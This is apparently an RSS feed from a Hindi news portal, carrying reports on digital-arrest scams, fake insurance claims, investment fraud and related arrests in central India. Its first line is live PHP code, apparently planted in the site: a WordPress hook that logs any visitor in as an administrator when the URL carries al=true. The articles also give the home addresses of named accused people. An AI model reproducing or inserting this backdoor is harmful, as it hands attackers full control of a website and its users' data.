// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); fraud – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 01 Mar 2026 07:25:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.4 रिटायर्ड डॉक्टर से 2.52 करोड़ की ठगी में दरोगा का भाई भी शामिल, पुलिस ने चार आरोपियों को पकड़ा https://pratyushaashakinayikiran.com/?p=201680 Sun, 01 Mar 2026 07:25:00 +0000 https://pratyushaashakinayikiran.com/?p=201680 ग्वालियर.

भारतीय वायुसेना के रिटायर्ड डॉक्टर नारायण महादेव टिकेकर को डिजिटल अरेस्ट कर 2.52 करोड़ रुपये ठगने के मामले में ग्वालियर पुलिस को बड़ी सफलता मिली है। ग्वालियर पुलिस की टीम ने दिल्ली से चार आरोपियों को पकड़ा है। इनके बैंक खाते में ठगी की रकम में से 30 लाख रुपये गए थे।

30 लाख रुपये इन्होंने ही अपने एटीएम कार्ड के जरिये निकालकर बिचौलिये को दिए। इसके एवज में 1.70 लाख रुपये कमीशन मिला। पुलिस इन्हें कोर्ट में पेश कर रिमांड पर लेगी, जिससे ठगी की रकम की हेराफेरी करने वाले और भी लोगों तक पहुंचा जा सके। पकड़े गए आरोपियों में से एक का भाई दिल्ली पुलिस में दारोगा है। भाई के पकड़े जाने के बाद वह भी ग्वालियर आ गया। उसे यहां आकर पता लगा कि भाई ठगी की रकम की हेराफेरी करने के लिए अपने और दोस्तों के बैंक खाते ही किराये पर देता है। 89 वर्षीय नारायण महादेव टिकेकर सिरोल स्थित विंडसर हिल्स हाउसिंग सोसायटी में रहते हैं। 24 दिन तक ठगों ने खुद को सीबीआइ अधिकारी बताकर इन्हें मनी लांड्रिंग केस में फंसा बताकर डिजिटल अरेस्ट रखा था। इनसे 2.52 करोड़ रुपये ठग लिए थे।

500 बैंक खातों में ट्रांसफर हुई थी ठगी की रकम
पुलिस ने पड़ताल की तो सामने आया कि ठगी की रकम दिल्ली, हरियाणा, उप्र, बिहार, गुजरात, असम, बंगाल सहित अन्य राज्यों के करीब 500 बैंक खातों में गया है। एसएसपी धर्मवीर सिंह ने क्राइम ब्रांच के डीएसपी मनीष यादव, एसआइ अमित शर्मा और उनकी टीम को पड़ताल में लगाया। टीम ने तकनीकि विश्लेषण किया। उसके बाद चार आरोपित चिन्हित हुए। इनके बैंक खातों में 30 लाख रुपये गए थे। यह रुपये भी खाते में आते ही निकाल लिए गए। क्राइम ब्रांच की टीम ने रात को चार आरोपियों को पकड़ लिया। इन्हें पुलिस ग्वालियर ले आई है। पूछताछ में इन्होंने स्वीकार किया कि एक बिचौलिये के जरिये बैंक खाते ठगों को किराये पर दिए थे। इसके एवज में कमीशन मिलता था। पहले भी ठगी की रकम इनके खातों में आ चुकी है।

यह आरोपित पकड़े गए
1.-मोहित मिश्रा पुत्र रामनरेश मिश्रा उम्र 31 वर्ष निवासी बी 40 चाणक्य पैलेस -1 स्ट्रीट नंबर 48 जनकपुरी नई दिल्ली
2- राहुल प्रजापति पुत्र प्रेम सिंह प्रजापति उम्र 25 वर्ष निवासी राजद 150 धरमपुर प्रथम नजफगढ़ नई दिल्ली
3-हरीश यादव पुत्र रामबाबू यादव उम्र 25 वर्ष निवासी हाउस नंबर 49 ब्लॉक धरमपुरा एक्सटेंशन नजफगढ़ नई दिल्ली
4-साहिल पुत्र फिरोज खान निवासी ए-5 175 एक्सटेंशन पार्ट 1 मोहन गार्डन उत्तम नगर नई दिल्ली

टेलीग्राम के जरिये खाते किराये पर देने का नेटवर्क: प्रारंभिक पूछताछ में खुलासा हुआ है कि यह टेलीग्राम एप के जरिये एक ग्रुप से जुड़े। यहां से ही ठगी की रकम की हेराफेरी के लिए खाते उपलब्ध कराने का पूरा नेटवर्क चलता है। यूएसडीटी के जरिये क्रिप्टो ट्रेडिंग: इस मामले में भी क्रिप्टो ट्रेडिंग हुई है। यूएसडीटी के जरिये ठग क्रिप्टो ट्रेडिंग कराते हैं और पूरा पैसा विदेश पहुंच रहा है।

पुलिस ने पकड़े चार आरोपी
रिटायर्ड डाक्टर से ठगी के मामले में चार आरोपित पकड़े गए हैं। इन्होंने अपने बैंक खाते किराये पर दिए थे। इन्हें रिमांड पर लिया जाएगा।
धर्मवीर सिंह, एसएसपी

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कलेक्टर ऑफिस में नौकरी दिलाने के नाम पर 11 लाख की ठगी, जांच के घेरे में रसूखदार चेहरे https://pratyushaashakinayikiran.com/?p=200891 Thu, 26 Feb 2026 10:16:00 +0000 https://pratyushaashakinayikiran.com/?p=200891 डोंगरगढ़.

कलेक्टर कार्यालय खैरागढ़ में कंप्यूटर ऑपरेटर की नौकरी दिलाने का झांसा देकर पांच लोगों से 11 लाख रुपये की ठगी का मामला अब गंभीर रूप लेता जा रहा है. इस प्रकरण में पुलिस ने एक आरोपी को गिरफ्तार कर जेल भेज दिया है, लेकिन जांच में राजनीतिक संरक्षण और रसूखदार लोगों की भूमिका सामने आने की चर्चा ने मामले को और संवेदनशील बना दिया है.

पीड़ित धीरज साहू की शिकायत पर डोंगरगढ़ थाना में अपराध क्रमांक 97/2026 धारा 420 और 34 भादवि के तहत मामला दर्ज किया गया. आरोप है कि बेरोजगार युवाओं और उनके परिजनों को कलेक्टर कार्यालय में कंप्यूटर ऑपरेटर की सरकारी नौकरी दिलाने का भरोसा दिलाया गया और उनसे अलग-अलग किस्तों में बड़ी रकम वसूली गई. कुल मिलाकर पांच लोगों से 11 लाख रुपये की ठगी की पुष्टि हुई है. पुलिस ने मामले की गंभीरता को देखते हुए त्वरित कार्रवाई करते हुए मुख्य आरोपी को गिरफ्तार कर न्यायालय में पेश किया, जहां से उसे न्यायिक रिमांड पर जेल भेज दिया गया. हालांकि जांच यहीं नहीं रुकी है और अब इस ठगी के नेटवर्क के पीछे छिपे प्रभावशाली लोगों की भूमिका की जांच तेज कर दी गई है.

सूत्रों की मानें तो इस पूरे खेल में कुछ राजनीतिक दलों से जुड़े नेताओं और निर्वाचित जनप्रतिनिधियों की भूमिका भी संदेह के घेरे में है. बताया जा रहा है कि भोले-भाले युवाओं को भरोसे में लेने और नौकरी का विश्वास दिलाने में इन प्रभावशाली चेहरों की भूमिका अहम रही. यही कारण है कि अब तक इस मामले के कई कथित सूत्रधार पुलिस कार्रवाई से दूर बने हुए हैं. पुलिस अधीक्षक राजनांदगांव अंकिता शर्मा ने स्पष्ट किया है कि मामले की जांच जारी है और इसमें शामिल अन्य रसूखदार आरोपियों की पहचान कर गिरफ्तारी की प्रक्रिया चल रही है.

उन्होंने कहा कि जल्द ही और आरोपियों को गिरफ्तार किया जाएगा और पूरे नेटवर्क का खुलासा किया जाएगा. यह मामला एक बार फिर बेरोजगारी के नाम पर सक्रिय ठगी गिरोहों और उनके कथित राजनीतिक संरक्षण पर सवाल खड़े कर रहा है. पुलिस की आगामी कार्रवाई पर अब पीड़ितों समेत पूरे जिले की नजरें टिकी हुई हैं.

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भिलाई में फर्जी मृत्यु का दावा, 1.19 करोड़ रुपये की बीमा राशि निकालने का मामला सामने आया https://pratyushaashakinayikiran.com/?p=198903 Wed, 18 Feb 2026 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=198903 भिलाई
 दुर्ग पुलिस ने राष्ट्रीय पेंशन योजना (एनपीएस) से जुड़े एक करोड़, 19 लाख रुपये की बीमा राशि की धोखाधड़ी का राजफाश किया है। मामले में जीवित व्यक्तियों को मृत दर्शाकर फर्जी मृत्यु दावा प्रस्तुत कर राशि निकासी की गई थी।

पुलिस ने मुख्य आरोपित राजेश कनोजिया (44) को गिरफ्तार कर न्यायालय में पेश किया। आरोपित बोरसी दुर्ग का रहने वाला है। वह क्षेत्र में ऑनलाइन सेवा केंद्र संचालित करता है और एनपीएस निकासी के नाम पर ग्राहकों से आधार, पैन और बैंक संबंधी जानकारी लेकर फर्जी दस्तावेज तैयार करता था।

फर्जी दस्तावेजों से जुड़े डिजिटल साक्ष्य जब्त

पुलिस ने आरोपित से 10 हजार रुपये नकद और फर्जी दस्तावेजों से जुड़े डिजिटल साक्ष्य जब्त किए हैं। वहीं अन्य आरोपितों की तलाश जारी है। पुलिस से प्राप्त जानकारी के अनुसार, 16 फरवरी 2026 को एचडीएफसी लाइफ कंपनी लिमिटेड, बोकारो (झारखंड) के प्रबंधक ने लिखित आवेदन देकर शिकायत दर्ज कराई कि एनपीएस खातों में फर्जी मृत्यु दावा प्रस्तुत कर करीब 1.19 करोड़ रुपये की अनुचित निकासी की गई है।
फर्जी मृत्यु प्रमाण पत्र और आधार दावे प्रस्तुत किए

जांच में सामने आया कि आरोपीतों ने आपराधिक साजिश के तहत फर्जी मृत्यु प्रमाण पत्र, फर्जी आधार और अन्य केवाईसी दस्तावेजों का उपयोग कर बीमा दावे प्रस्तुत किए। जांच के दौरान यह भी पता चला कि सेवानिवृत्त कर्मचारी के नाम से मृत्यु दावा दाखिल किया गया, जबकि संबंधित व्यक्ति जीवित पाए गए।

 

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भिलाई में फर्जी मृत्यु का दावा, 1.19 करोड़ रुपये की बीमा राशि निकालने का मामला सामने आया https://pratyushaashakinayikiran.com/?p=198904 Wed, 18 Feb 2026 10:46:00 +0000 https://pratyushaashakinayikiran.com/?p=198904 भिलाई
 दुर्ग पुलिस ने राष्ट्रीय पेंशन योजना (एनपीएस) से जुड़े एक करोड़, 19 लाख रुपये की बीमा राशि की धोखाधड़ी का राजफाश किया है। मामले में जीवित व्यक्तियों को मृत दर्शाकर फर्जी मृत्यु दावा प्रस्तुत कर राशि निकासी की गई थी।

पुलिस ने मुख्य आरोपित राजेश कनोजिया (44) को गिरफ्तार कर न्यायालय में पेश किया। आरोपित बोरसी दुर्ग का रहने वाला है। वह क्षेत्र में ऑनलाइन सेवा केंद्र संचालित करता है और एनपीएस निकासी के नाम पर ग्राहकों से आधार, पैन और बैंक संबंधी जानकारी लेकर फर्जी दस्तावेज तैयार करता था।

फर्जी दस्तावेजों से जुड़े डिजिटल साक्ष्य जब्त

पुलिस ने आरोपित से 10 हजार रुपये नकद और फर्जी दस्तावेजों से जुड़े डिजिटल साक्ष्य जब्त किए हैं। वहीं अन्य आरोपितों की तलाश जारी है। पुलिस से प्राप्त जानकारी के अनुसार, 16 फरवरी 2026 को एचडीएफसी लाइफ कंपनी लिमिटेड, बोकारो (झारखंड) के प्रबंधक ने लिखित आवेदन देकर शिकायत दर्ज कराई कि एनपीएस खातों में फर्जी मृत्यु दावा प्रस्तुत कर करीब 1.19 करोड़ रुपये की अनुचित निकासी की गई है।
फर्जी मृत्यु प्रमाण पत्र और आधार दावे प्रस्तुत किए

जांच में सामने आया कि आरोपीतों ने आपराधिक साजिश के तहत फर्जी मृत्यु प्रमाण पत्र, फर्जी आधार और अन्य केवाईसी दस्तावेजों का उपयोग कर बीमा दावे प्रस्तुत किए। जांच के दौरान यह भी पता चला कि सेवानिवृत्त कर्मचारी के नाम से मृत्यु दावा दाखिल किया गया, जबकि संबंधित व्यक्ति जीवित पाए गए।

 

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छत्तीसगढ़ में VIP ट्रेड कंपनी पर कार्रवाई, 8 लाख से अधिक की ठगी में चार आरोपी गिरफ्तार https://pratyushaashakinayikiran.com/?p=197967 Sun, 15 Feb 2026 04:05:00 +0000 https://pratyushaashakinayikiran.com/?p=197967 लौदाबाजार 
थाना सिटी कोतवाली पुलिस ने ज्यादा रिटर्न का लालच देकर लोगों से ठगी करने वाले चार आरोपियों को गिरफ्तार कर बड़ी सफलता हासिल की है। ये आरोपी राजस्थान के किशनगढ़ और आसपास के इलाकों से जुड़े थे और उन्होंने वीआईपी ट्रेड नाम की फर्जी कंपनी बनाकर पूरे देश में ठगी का जाल फैलाया था। इस मामले में एक शिकायतकर्ता से ही 8 लाख 6 हजार 640 रुपये की ठगी हुई है। लेकिन, पुलिस को संदेह है कि इससे कहीं ज्यादा लोग प्रभावित हो सकते हैं। श्याम कॉलोनी बलौदाबाजार के निवासी रामचंद्र वस्त्रकर ने पुलिस में शिकायत दर्ज कराई। उन्होंने बताया कि जुलाई 2025 के अंत से अक्टूबर 2025 के मध्य तक आरोपियों ने संपर्क किया और वीआईपी ट्रेड कंपनी में निवेश करने पर हर महीने 10 से 12 प्रतिशत की गारंटी के साथ मुनाफा मिलने का वादा किया। कहा गया कि पैसों में रोजाना ग्रोथ होगी और जरूरत पड़ने पर आसानी से निकाला जा सकता है।

इस झांसे में आकर रामचंद्र ने कुल 8 लाख 6 हजार 640 रुपये कंपनी में जमा कर दिए। जब उन्होंने पैसा वापस मांगा तो आरोपियों ने कोई जवाब नहीं दिया और बाद में अपने मोबाइल नंबर बंद कर लिए। इससे उन्हें ठगी का पता चला।

इस शिकायत पर 13 फरवरी 2026 को थाना सिटी कोतवाली में अपराध क्रमांक 307/2025 दर्ज किया गया। इसमें भारतीय न्याय संहिता की धारा 318(4), 316(2) और 3(5) के तहत मामला बनाया गया है। पुलिस अधीक्षक भावना गुप्ता ने थाना प्रभारी और साइबर सेल को सख्त निर्देश दिए। टीम ने तकनीकी जांच और विश्लेषण से पता लगाया कि ठगी का पूरा नेटवर्क राजस्थान से संचालित हो रहा था। एक मुख्य आरोपी अजमेर के केंद्रीय कारागार में पहले से बंद था। न्यायालय से प्रोडक्शन वारंट लेकर पुलिस टीम ने राजस्थान जाकर चारों आरोपियों को हिरासत में लिया। पूछताछ में सभी ने वीआईपी ट्रेड कंपनी बनाकर ज्यादा रिटर्न का झांसा देकर लोगों से ठगी करने की बात कबूल की।

13 फरवरी 2026 को इन आरोपियों को औपचारिक रूप से गिरफ्तार कर न्यायालय में पेश करने की प्रक्रिया पूरी की गई। मामला अभी जांच के दौर में है। पुलिस ने अपील की है कि यदि किसी अन्य व्यक्ति के साथ भी वीआईपी ट्रेड कंपनी ने ठगी की हो या निवेश के नाम पर पैसे मांगे गए हों, तो वह तुरंत थाना सिटी कोतवाली या स्थानीय साइबर सेल में संपर्क कर अपनी शिकायत दर्ज कराए।

गिरफ्तार आरोपियों के नाम इस प्रकार हैं: अब्दुल समद (60 वर्ष), निवासी भिश्ती मोहल्ला, गांधीनगर, किशनगढ़, राजस्थान; लोकेश चौधरी (26 वर्ष), निवासी रामदेव कॉलोनी, किशनगढ़, राजस्थान; कैलाश चौधरी (26 वर्ष), निवासी जाटो का मोहल्ला, थाना नारायणा, जयपुर ग्रामीण, राजस्थान; धीरज गट्टानी (25 वर्ष), निवासी न्यू कॉलोनी, कुचामन सिटी, राजस्थान।

पुलिस का कहना है कि ऐसी फर्जी निवेश योजनाओं से बचें और किसी भी अनजान कंपनी में पैसे लगाने से पहले पूरी जांच करें।

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छत्तीसगढ़-धमतरी में करोड़ों रुपये की धोखाधड़ी का आरोपी गिरफ्तार, दूसरों की जारी है तलाश https://pratyushaashakinayikiran.com/?p=96959 Mon, 11 Nov 2024 15:35:00 +0000 https://pratyushaashakinayikiran.com/?p=96959 धमतरी.

करोड़ों रुपये की धोखाधड़ी करने वाले एक आरोपी को कोतवाली पुलिस ने गिरफ्तार कर जेल भेजा है। बताया जा रहा है कि उमेश कुमार पटेल ने आठ नवंबर को कोतवाली थाना में रिपोर्ट दर्ज कराई थी कि 28 अप्रैल 2022 से 22 जुलाई 2023 तक भिलाई के ज्ञान प्रकाश साहू और देव कृष्णा साहू द्वारा रोबोट ट्रेडर्स एफएक्स लिमिटेड नामक कंपनी में छल पूर्वक 8 लाख 67 हजार 680 रुपये की धोखाधड़ी की।

कोतवाली पुलिस ने मामला दर्ज कर जांच में जुट गई थी। इस दौरान पुलिस को सूचना मिली कि उक्त दोनों आरोपियों द्वारा अन्य लोगों के साथ भी धोखाधड़ी की है। इसकी कुल कीमत एक करोड़ 17 लाख 5  हजार 365 से ज्यादा बताया गया। जिस पर कोतवाली पुलिस ने 10 नवंबर रविवार को देवकृष्ण साहू निवासी भिलाई जिला दुर्ग को गिरफ्तार कर जेल भेज दिया है। वहीं, धोखाधड़ी के मामले में एक अन्य आरोपी प्रकाश साहू फरार है, जिसकी तलाश की जा रही है।

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बेटे ने पिता के चार बैंक खातों में अपना मोबाइल नंबर लिंक कराकर की 90 लाख की ठगी, पुलिस ने भेजा जेल https://pratyushaashakinayikiran.com/?p=81586 Tue, 08 Oct 2024 14:36:00 +0000 https://pratyushaashakinayikiran.com/?p=81586 दमोह

दमोह शहर के एक कपड़ा व्यापारी लोकेश गांगरा ने अपने पिता के बैंक खातों से अपना नंबर लिंक कराकर 90 लाख 8 हजार 620 रुपए की ठगी कर डाली। पिता को जानकारी लगी तो ठगी करने वाले छोटे बेटे की पुलिस में शिकायत कर उसे जेल भी भिजवा दिया। पिता ने बेटे द्वारा किए गए धोखे को लेकर जबलपुर में जो एफआईआर लिखवाई। उसमें स्पष्ट उल्लेख किया मेरे साथ ठगी हुई है। इसलिए उस व्यक्ति को गिरफ्तार करके जेल भेज दिया जाए, चाहे वह मेरा अपना की क्यों न हो। पुलिस ने आरोपी बेटे को गिरफ्तार करके उसे कोर्ट के आदेश पर जेल भेज दिया।

यह है पूरा मामला
जानकारी के अनुसार यह घटना नया बाजार दो निवासी दयाचंद्र जैन (85) और उनकी पत्नी सुशीला जैन (80) के साथ हुई है। पिता दयाचंद्र जैन ने पुलिस में दर्ज कराई एफआईआर में बताया कि उसके दो बेटे राजीव गांगरा (60) और लोकेश गांगरा (58) हैं। 12 साल पहले छोटे लोकेश गांगरा से विवाद होने के चलते वह जबलपुर में बड़े बेटे राजीव गांगरा के पास रहने आ गए थे। बड़ा बेटा आकाशवाणी जबलपुर में रहता है। अगस्त 2023 में लोकेश जबलपुर आया और माफी मांगते हुए दमोह साथ चलने के लिए कहने लगा। जिस पर हम दोनों दमोह आ गए थे, लेकिन यहां उसने फिर से विवाद किया और हम लोग वापस बड़े बेटे के पास जबलपुर पहुंच गए। वहां जब बैंक खातों की डिटेल निकाली तो यह पता चला।

नेट बैंकिंग और ओटीपी के जरिए निकाली राशि
जब लोकेश के पास माता-पिता जबलपुर से दमोह रहने आ गए तो इस बीच उन्होंने बैंक खातों की जानकारी अपडेट कराई। उसने पिता के तीन खाते और मां के एक खाते में अपना मोबाइल नंबर और मेल आईडी दर्ज करा दी। नेट बैकिंग और ओटीपी के जरिए उसने पिता दयाचंद के नाम से संचालित एचडीएफसी बैंक खाते से 27 लाख 32 हजार, एसबीआई खाते से 3 लाख 8 हजार रुपए और बंधन बैंक खाते से 43 लाख 48 हजार रुपए निकाल लिए।

इसी तरह मां सुशीला जैन के खाते से 16 लाख 20 हजार रुपए निकालकर अपने खाते और दुकान के खाते में ट्रांसफर कर लिए थे। इसी तरह चारों खातों से छोटे बेटे लोकेश गांगरा ने 90,08,620 रुपए की धोखाधड़ी की थी। वर्तमान में पिता दयाचंद जैन बड़े बेटे राजीव गांगरा के पास हैं। इसलिए उन्होंने इस मामले की एफआईआर जबलपुर में स्टेट साइबर सेल में दर्ज कराई थी। पुलिस ने आरोपी के खिलाफ धारा 419, 420, और 66 डी के तहत मामला दर्ज किया है। जिसमें धारा 419 में छल करने पर तीन साल की सजा, धारा 420 में किसी दूसरे व्यक्ति के साथ छल करके उसकी संपत्ति हासिल करने और धारा 66 डी के तहत मोबाइल का इस्तेमाल करके धोखाधड़ी करना शामिल है। जबलपुर की पुलिस ने दमोह आकर लोकेश को गिरफ्तार करके ले गई थी।, फिर उसे जेल भेज दिया है।

पिता ने एफआईआर लिखवाई मेरा अपना ही क्यों न हो, जेल भेजें
दयाचंद्र ने एफआईआर में स्पष्ट लिखवाया है कि मेरे के साथ 90,08,620 रुपए की ठगी और जालसाजी हुई है। इसलिए आरोपी को गिरफ्तार करके उसे जेल भेजा जाए, चाहे वह मेरा अपना ही क्यों न हो। दरअसल लोकेश गांगरा दमोह के नया बाजार नंबर 2 में रहता और पीपल के पास गांगरा साड़ी शोरूम संचालक करता था।

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भोपाल: कलेक्टर का फोटो लगा बनाई फर्जी आईडी, ग्रामीणों को कॉल कर ऐंठे रुपये https://pratyushaashakinayikiran.com/?p=73053 Sat, 21 Sep 2024 13:16:00 +0000 https://pratyushaashakinayikiran.com/?p=73053 भोपाल
 फोन की कॉलर आइडी में कलेक्टर कौशलेंद्र विक्रम सिंह का फोटो लगाकर फर्जी आइडी बनाकर रुपये ऐंठने का मामला सामने आया है। जिसके बाद फंदा और बैरसिया के जनपद सीईओ ने सभी पंचायत सचिव और ग्राम सहायकों को अलर्ट जारी कर दिया है।

जालसाज द्वारा ग्रामीणों को कलेक्टर के नाम से फोन कर संबल योजना की राशि डालने के नाम पर 3 हजार से 10 हजार रुपए तक की मांग की गई। बताया जा रहा है कि फर्जी आईडी बनाने वाला आधा दर्जन लोगों से रुपये ऐंठ चुका है। मामला कलेक्टर कौशलेंद्र विक्रम सिंह के पास भी पहुंचा, जिसके बाद क्राइम ब्रांच में इसकी शिकायत की गई। पुलिस मामले की छानबीन कर रही है।
ऐसे कर रहे ठगी

बताया जा रहा है पिछले एक हफ्ते में कलेक्टर की फर्जी आईडी से ग्रामीणों को इस तरह के कॉल आ रहे हैं। कॉल करने के अलावा ठग लोगों को मैसेज भी भेज रहे हैं। कॉलर आईडी पर कलेक्टर का फोटो लगा होने की वजह से जिन लोगों के पास कॉल आ रहे हैं, वह बिना सत्यापन किए उसे सच मान लेते हैं। आम लोगों को तीन हजार से 10 हजार रुपये तक संबल योजना के नाम पर देने का झांसा दिया जा रहा है।

फर्जी कॉल कर रुपये ऐंठने की जानकारी लगने के बाद कलेक्टर ने आम लोगों से सतर्क रहने की अपील की है। इधर पंचायतों के वाट्सएप ग्रुप और इंटरनेट मीडिया पर भी फर्जी कॉल से रुपये ऐंठने के मामले में सतर्क रहने के संदेश प्रसारित किए जा रहे हैं।
जबलपुर में भी हुआ था प्रकरण

कुछ ऐसा ही प्रकरण अतीत में जबलपुर में भी सामने आ चुका है। वहां भी ठगों ने तत्कालीन कलेक्टर टी. इलैयाराजा के नाम से फर्जी आईडी बनाकर कुछ लोगों से ठगी का प्रयास किया था। मामला संज्ञान में आने के बाद अधिकारियों ने पुलिस में इसकी शिकायत भी दर्ज कराई थी।

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भोपाल में चपरासी ने बैंक मैनेजर के साथ मिलकर 10 करोड़ का घोटाला किया https://pratyushaashakinayikiran.com/?p=71316 Mon, 16 Sep 2024 15:27:00 +0000 https://pratyushaashakinayikiran.com/?p=71316 भोपाल
 मध्य प्रदेश की राजधानी भोपाल में एक चपरासी का ऐसा कांड सामने आया है, जिसे सुनकर आप अचरज में पड़ जाएंगे। इस चपरासी ने बैंक मैनेजर के साथ-साथ गांठ करके 10 करोड़ का घोटाला कर डाला। इतना ही नहीं चपरासी ने पांच-पांच करोड़ रुपए की दो फिक्स्ड डिपॉजिट (एफडी) तोड़कर यह राशि अपने खाते में डलवा ली।

मामला सामने आते ही बैंक प्रबंधन और प्रशासन ने जांच शुरू करवा दी है। मामला राज्य बीज प्रमाणीकरण संस्था से जुड़ा हुआ है। यहां की 10 करोड़ की दो फिक्स डिपाजिट चपरासी ने फर्जी कागजात और बैंक मैनेजर से मिली भगत करके अपने खाते में ट्रांसफर करवा ली। इतना ही नहीं इस एफडी का ब्याज भी चपरासी के खाते में चला गया। अब पुलिस ने धोखाधड़ी और गबन का मामले की एफआईआर दर्ज की है। पर अब तक किसी की गिरफ्तारी नहीं हुई है।
ऐसे हुआ घोटाले का खुलासा

बताया जा रहा है कि पुलिस ने चपरासी और इमामी गेट स्थित सेंट्रल बैंक आफ इंडिया के मैनेजर के खिलाफ केस दर्ज किया है। कोतवाली थाना पुलिस के अनुसार राज्य बीज प्रमाणीकरण संस्था के प्रमुख सुखदेव प्रसाद अहिरवार ने थाने में शिकायत दर्ज कराई थी। इसमें उन्होंने बताया था कि 30 नवंबर 2023 को संस्था ने इमामी गेट स्थित सेंट्रल बैंक आफ इंडिया में 5-5 करोड़ रुपए की दो एफडी बनवाई थी। पर पिछले दिनों पता चला कि दोनों ही एफडी तोड़कर पूरी राशि संस्था के चपरासी बृजेंद्र दास नामदेव की एचडीएफसी बैंक खाते में ट्रांसफर कर दी गई है।
इस तरह दिया घटना को अंजाम

इस एफडी पर मिले ब्याज की 66 लाख रुपए की राशि भी बृजेंद्र दास के खाते में चली गई। बाद में जब जांच पड़ताल की गई तो पता चला इस मामले में फर्जी कागजों का उपयोग किया गया है। पुलिस के अनुसार सेंट्रल बैंक के तत्कालीन मैनेजर नोएल सिंह की मिली भगत भी सामने आ रही है। नोएल सिंह का तबादला होने के बाद वे मुंबई चले गए हैं। अब पुलिस ने चपरासी बृजेंद्र दास नामदेव और बैंक मैनेजर नोएल सिंह के खिलाफ एफआईआर दर्ज करके मामले की पड़ताल शुरू कर दी है।

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छत्तीसगढ़-राजनांदगांव में पैसा डबल करने का झांसा देकर तीन करोड़ की ठगी, केरल से एक आरोपी पकड़ा https://pratyushaashakinayikiran.com/?p=70582 Sat, 14 Sep 2024 19:46:00 +0000 https://pratyushaashakinayikiran.com/?p=70582 राजनांदगांव.

राजनांदगांव शहर के बसंतपुर थाने अंतर्गत शेयर ट्रेडिंग के नाम पर तीन करोड़ 40 लाख 95000 रुपये की ठगी का मामला सामने आया है। पुलिस ने ठगी के मामले में एक अंतरराष्ट्रीय ठग को केरल से गिरफ्तार किया है। अन्य आरोपियों की तलाश जारी है। आरोपियों द्वारा 60 लाख रुपये को डेबिट कार्ड की मदद से दुबई में निकाला गया।

आरोपी से एक मोबाइल और दो क्रेडिट कार्ड जब्त किए गए हैं। पुलिस ने प्रेसावर्ता कर मामले का खुलासा किया है। शेयर मार्केट में पैसा डबल करने को लेकर आरोपियों के द्वारा ठगी की घटना को अंजाम दिया। आरोपियों ने ठगी की रकम को अलग-अलग आठ खातों में लिया। उसके बाद आरोपियों ने उस पैसे को दर्जनों अलग-अलग खातों में आरटीजीएस और एनईएफटी के माध्यम से ट्रांसफर कर दिया। आरोपियों ने 60 लाख रुपये को डेबिट कार्ड की मदद से दुबई में विड्रॉल किया। बसंतपुर पुलिस और साइबर की टीम ने एक अंतरराष्ट्रीय ठग को केरल से गिरफ्तार किया है और अन्य आरोपियों की तलाश जारी है। बसंतपुर थाना क्षेत्र अंतर्गत प्रार्थी से आरोपियों द्वारा शेयर मार्केट के नाम पर पूरी ठगी की गई। व्हाट्सएप ऐप के चैटिंग के माध्यम से पीड़ित को लिंक शेयर किया गया और ठगी की गई। साइबर ठगी के मामले में पुलिस लोगों को जागरूक करती है। उसके बाद भी साइबर ठगी के मामले लगातार सामने आ रहे हैं। जिसमें प्रार्थी ठगी का शिकार हो जाते हैं। फिलहाल, पुलिस मामले की जांच कर रही है। 

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